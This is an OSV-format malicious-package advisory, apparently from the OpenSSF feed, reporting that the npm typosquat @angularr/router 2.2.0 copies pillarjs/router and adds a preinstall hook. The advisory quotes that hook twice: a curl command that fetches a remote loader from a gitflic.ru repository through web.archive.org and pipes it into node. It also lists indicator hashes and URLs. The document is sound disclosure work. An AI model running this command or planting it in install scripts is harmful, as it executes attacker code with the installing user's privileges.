MAL-2026-17494Malicious code in @angularr/router (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | @angularr/router | 2.2.0 |
{"schema_version":"1.7.4","id":"MAL-2026-17494","published":"2026-10-03T06:55:52Z","modified":"2026-10-05T22:52:51.068140766Z","summary":"Malicious code in @angularr/router (npm)","details":"@angularr/router@2.2.0 impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83)\nThe package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`. The code executes with the installer's privileges before any package code is loaded. The package name `@angularr/router` (double-r) resembles `@angular/router`, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.\n","affected":[{"package":{"name":"@angularr/router","ecosystem":"npm"},"versions":["2.2.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"5f1f5a2499b09d6cbe0b9c7598c0b8245a737d069009eafd4b780c98ca280301","tlsh":"db21db31cc489c3312c92af578295043b561480b8d04fe1db7ee032c4f4e26f657aa29"}],"package_integrity":[{"filename":"router-2.2.0.tgz","hashes":{"sha1":"90e5f2267e7b9561b10113e7544771f0f9bf3d48","sha512_sri":"sha512-bx9e3exgfGJojDnzwsf0V6HXAnVVQry8IbwC2ItqYpZfE3IFfY03B4KORjudfhwdz4QZHxZ60L6I8M5U7cBpeg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/router/v/2.2.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@angularr/router"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"5f1f5a2499b09d6cbe0b9c7598c0b8245a737d069009eafd4b780c98ca280301"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@angularr/router@2.2.0).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020909","import_time":"2026-10-04T23:40:40.951801571Z","modified_time":"2026-10-04T23:18:03Z","sha256":"646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83","source":"amazon-inspector","versions":["2.2.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0